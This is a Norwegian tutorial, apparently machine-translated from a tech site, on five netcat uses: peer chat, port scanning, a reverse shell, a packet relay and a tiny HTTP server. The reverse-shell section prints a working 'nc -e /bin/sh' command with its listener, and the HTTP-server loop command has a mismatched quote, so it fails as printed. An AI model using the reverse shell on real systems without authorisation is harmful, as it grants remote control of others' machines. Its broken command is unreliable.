Netcat er et kraftig kommandolinjenettverksverktøy i Linux som kan sende og lytte etter TCP- og UDP-pakker. I motsetning til andre nettverksverktøy, er netcat ekstremt grunnleggende. Imidlertid lar dens enkelhet også utføre nesten alle typer aktivitet over et nettverk.
Denne artikkelen vil vise deg 5 enkle nettverksoppgaver du kan gjøre med netcat. Videre vil denne artikkelen også fremheve hva som gjør netcat spesiell og hvorfor du bør inkludere den i Linux-verktøysettet.
Hvordan fungerer Netcat og hvorfor bruke det?
Netcat er et grunnleggende verktøy som kan sende og motta nettverkspakker. Den ble først utgitt i 1995 av en pseudonym programmerer ved navn Hobbit. Siden den gang har netcat vært en viktig del av enhver Linux-distribusjon.
I kjernen fungerer netcat ved å sende nettverksforespørsler fra en Linux-vert til en annen. Denne nettverksforespørselen kan inneholde alle typer data, og du kan sende den på hvilken som helst port.

Denne tilnærmingen betyr at netcat kan lage alle mulige typer nettverkstilkoblinger. For eksempel kan programmet lage direkte TCP-tilkoblinger som du kan bruke til enten å overføre filer eller lage reverse shell-økter.

1. Node-til-node-chatøkt
En av de mest grunnleggende bruksområdene for netcat er en enkel peer to peer chat-økt mellom to Linux-maskiner. Dette er en kommunikasjonsmetode som ikke er avhengig av noen tredjepartsserver for å sende og motta informasjon.
- For at dette skal fungere, må du åpne en port mellom 49152 og 65536 på din lokale maskin. Det er her en ekstern vert vil kunne koble til og sende vilkårlig informasjon til maskinen din.
sudo ufw allow 50000
- Du må også åpne en annen port på den eksterne verten for at maskinen skal kunne sende informasjon til den:
sudo ufw allow 50001
- Løpe
netcatpå maskinen din med følgende argumenter:
nc -lp 50000
Dette vil åpne en netcat-økt som aktivt lytter etter data på port 50000.
- Den eksterne verten kan nå sende tekstdata til din lokale maskin. For eksempel vil følgende kommando sende systemets standardinndata til en ekstern maskin.
cat - | nc 192.168.122.136 50000

- For å svare på meldingen, må den eksterne verten også kjøre en lyttedemon:
nc -lp 50001
- Nå kan du også sende en melding fra den lokale maskinen til den eksterne verten:
cat - | nc 192.168.122.177 50001

2. Grunnleggende portskanner
En portskanner er et enkelt verktøy som sjekker om et sett med porter i en maskin er tilgjengelig fra en ekstern vert. Dette er svært nyttig i tilfeller der du ikke er sikker på om systemet har de riktige portene åpne.
For å se etter en enkelt port kan du kjøre nc -v etterfulgt av IP-adressen og porten du vil sjekke:
nc -v 192.168.122.177 80

Du kan også gi en rekke tall der netcat vil sekvensielt sjekke hvert portnummer innenfor det området. For eksempel vil kjøring av følgende kommando skanne etter alle åpne «velkjente» porter:
nc -v 192.168.122.177 1-1024

En av ulempene med å spørre etter porter er at det genererer unødvendig nettverkstrafikk. Dette kan være et problem hvis du tester et stort utvalg av porter i et lite hjemmenettverk.
For å fikse dette, aktiver netcats «Zero I/O»-modus som ikke skaper noen nettverksaktivitet på den eksterne verten:
nc -zv 192.168.122.177 1-1024

FYI: Lær hvordan du kan bruke nmap selv uten sudo for å samle informasjon om maskinene i ditt lokale nettverk.
3. Omvendt skall
Omvendte skall er brød og smør for penetrasjonstesting i Linux. Dette er eksterne skallforekomster som lar deg kontrollere et system selv uten åpne inngående porter. Dette gjør omvendte skjell nyttig hvis du trenger tilgang til en maskin som ikke har noen SSH-tilgang.
- For å lage et omvendt skall, må du åpne en lyttedemon på din lokale maskin:
nc -lp 50000
- Start en netcat-tilkobling i den eksterne maskinen. I dette tilfellet må du også sende den eksterne maskinens skallmiljø:
nc -e /bin/sh 192.168.122.136 50000
Merk: Kommandoen ovenfor vil bare fungere på ikke-Ubuntu-distribusjoner. For å gjøre dette i Ubuntu må du installere «netcat-traditional»-pakken og erstatte «nc» med «nc.traditional.»
- Gå tilbake til din lokale maskin og kjør en shell-kommando. For eksempel løping
lsvil skrive ut gjeldende katalog til den eksterne brukeren.
ls -la

- For å avslutte den omvendte skalløkten kan du trykke Ctrl + C på din lokale maskins lyttedemon.

Godt å vite: Lær hvordan du effektivt kan bruke det omvendte skallet ditt ved å lære det grunnleggende om shell-skripting.
4. Grunnpakkerelé
Bortsett fra å lese og skrive direkte til en nettverksstrøm, kan du også bruke netcat til å omdirigere en innkommende tilkobling til en hvilken som helst utgående port. Dette fungerer ved å lenke flere netcat-lytter- og klientøkter ved hjelp av UNIX-rør.
- Lag en netcat-økt som lytter på port 50000. Dette vil fungere som utgående port for ditt grunnleggende relé:
nc -lv localhost 50000
- Åpne en ny terminal og kjør følgende kommando:
nc -lv localhost 50001 | nc localhost 50000
Hvis du gjør dette, opprettes en ny lyttedemon på port 50001, og den vil automatisk omdirigere alle pakker på denne porten til port 50000.

- Du kan nå sende data til den innkommende porten og netcat vil automatisk omdirigere utdataene til den utgående porten.
echo "MakeTechEasier" | nc localhost 50001

- Bortsett fra lokale porter, kan du også bruke denne funksjonen til å omdirigere all nettverkstrafikk til en annen maskin. For eksempel sender følgende kode data i port 50000 til samme port på et annet system:
nc -lv localhost 50000 | nc 192.168.122.177 50000

Merk: For at dette skal fungere, må du kjøre flere daemon-prosesser, og det krypterer ikke data som går gjennom.
5. Grunnleggende HTTP-server
Å sette opp en HTTP-server kan være en kompleks prosess selv om du bare ønsker å betjene en enkelt side. I den forbindelse kan netcat også fungere som en enkel statisk webserver som du kan spinne opp i Linux uten å installere noen ekstra verktøy.
- Opprett en grunnleggende HTTP-svarfil. Følgende kodebit viser en nettside med en enkel melding:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>
- Lagre den som «index.http» i hjemmekatalogen din.

- Kjør følgende kommando:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Du har nå en fungerende webserver. Du kan besøke nettsiden din ved å åpne en nettleser og gå til http://localhost:8080.

- trykk Ctrl + C på terminalen for å avslutte gjeldende webserverøkt.

Merk: Som du kan se, er dette bare en veldig grunnleggende HTTP-server, og den er usikker. Hvis du kjører din egen server, bør du følge disse tipsene for å sikre serveren din.
Godt å vite: Lær hvordan du administrerer filene dine effektivt ved å bruke sed til å manipulere tekststrømmer.
ofte stilte spørsmål
Jeg kan ikke koble til en ekstern maskin med netcat.
Dette problemet skyldes mest sannsynlig en blokkert brannmurport på den eksterne maskinen. Du må sørge for at porten du bruker i maskinen din er åpen for både innkommende og utgående tilkoblinger. For eksempel må du løpe sudo ufw allow 49999 hvis du vil bruke port 49999 på den eksterne maskinen.
Er det mulig å koble til en hvilken som helst vert ved å bruke netcat?
Nei. Mens netcat kan lese og skrive til en hvilken som helst vilkårlig nettverksstrøm, kan den ikke koble til en maskin som ikke kan oppdages fra systemets nettverk. Disse inkluderer private nettverk som ikke har portviderekobling aktivert, samt luftgap-systemer som ikke har nettverkstilgang.
Er det mulig å forfalske en tilkobling i netcat?
Nei. Dette er fordi netcat bare kan sende og motta pakker fra et gyldig nettverksgrensesnitt. Du kan imidlertid endre hvor den aktuelle pakken kommer fra hvis du har flere nettverksgrensesnitt.
Du kan for eksempel løpe nc -l -s 10.0.0.2 -p 50000 å fortelle netcat å eksplisitt sende pakker ved å bruke grensesnittet som har IP-adressen «10.0.0.2.»
Støtt vårt arbeid ❤️
Hvis du likte denne artikkelen, vurder å gi en tips for å hjelpe oss med å fortsette å publisere kvalitetsinnhold.




















